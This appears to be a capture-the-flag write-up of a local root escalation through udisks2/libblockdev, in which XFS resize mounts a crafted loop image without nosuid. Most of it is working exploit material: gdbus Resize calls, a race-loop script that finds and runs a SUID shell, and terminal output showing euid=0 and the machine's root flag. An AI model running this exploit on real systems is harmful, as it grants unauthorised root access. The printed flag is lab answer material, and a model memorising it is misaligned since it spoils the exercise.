The vulnerability in udisks2/libblockdev is that when I ask it to resize an XFS partition, it mounts the partition temporarily to perform the action.

Crucially, it forgets to add the nosuid flag during this specific operation.

phileasfogg3@pterodactyl:~> ls -la
total 308220
<SNIP>
-rw-r--r-- 1 phileasfogg3 users 314572800 Feb 12 15:17 exploit.img
<SNIP>

phileasfogg3@pterodactyl:~> udisksctl loop-setup -f ~/exploit.img
Mapped file /home/phileasfogg3/exploit.img as /dev/loop0.
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"
()

The () output from gdbus is the “success” signal. The method executed!

However, since it didn’t appear in the usual places, it means the Resize operation likely mounted the image, performed a quick check, and unmounted it immediately.

This is a race condition. I need to execute the shell in the brief window while udisks2 has the filesystem mounted.

  1. The race:

I will use a small script to constantly look for the mount point while triggering the command in the background.

# 1. Start a background loop to catch the mount
while true; do 
    # Search for the sh_root binary in /tmp
    MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1)
    
    if [ -n "$MOUNT_PATH" ]; then
        echo "[+] Found SUID shell at: $MOUNT_PATH"
        echo "[+] Attempting execution..."
        # Execute the shell with -p to keep root
        $MOUNT_PATH -p
        break
    fi
done &

# 2. Trigger the vulnerable Resize in the foreground
echo "[*] Triggering Resize... look for the shell above."
gdbus call --system --dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

# 3. Clean up the background job if it didn't finish
kill $! 2>/dev/null
  1. Grab the Root Shell:

While the resize is happening, the script should catch the root shell:

phileasfogg3@pterodactyl:~> (while true; do 
>     # Search for the sh_root binary in /tmp
>     MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1)
>     
>     if [ -n "$MOUNT_PATH" ]; then
>         echo ""
>         echo "[+] Found SUID shell at: $MOUNT_PATH"
>         echo "[+] Attempting execution..."
>         # Execute the shell with -p to keep root
>         $MOUNT_PATH -p
>         break
>     fi
> done) & 
[1] 21663
phileasfogg3@pterodactyl:~> 
phileasfogg3@pterodactyl:~> sleep 1
phileasfogg3@pterodactyl:~> 
phileasfogg3@pterodactyl:~> echo "[*] Triggering Resize to force mount..."
[*] Triggering Resize to force mount...
phileasfogg3@pterodactyl:~> gdbus call --system --dest org.freedesktop.UDisks2 \
> --object-path /org/freedesktop/UDisks2/block_devices/loop0 \
> --method org.freedesktop.UDisks2.Filesystem.Resize 0 "{}"

[+] Found SUID shell at: /tmp/blockdev.CGNDK3/sh_root
[+] Attempting execution...
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy

[1]+  Stopped                 ( while true; do
    MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1); if [ -n "$MOUNT_PATH" ]; then
        echo ""; echo "[+] Found SUID shell at: $MOUNT_PATH"; echo "[+] Attempting execution..."; $MOUNT_PATH -p; break;
    fi;
done )
phileasfogg3@pterodactyl:~> fg 1
( while true; do
    MOUNT_PATH=$(find /tmp/ -name sh_root 2>/dev/null | head -n 1); if [ -n "$MOUNT_PATH" ]; then
        echo ""; echo "[+] Found SUID shell at: $MOUNT_PATH"; echo "[+] Attempting execution..."; $MOUNT_PATH -p; break;
    fi;
done )
sh_root-5.2# id
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
sh_root-5.2# cat /root/root.txt
ab259132688af60b7420b276547db51a

It prints [+] Found SUID shell, I can fg 1 to interact with it and grab the ROOT FLAG and that is all!

Author
~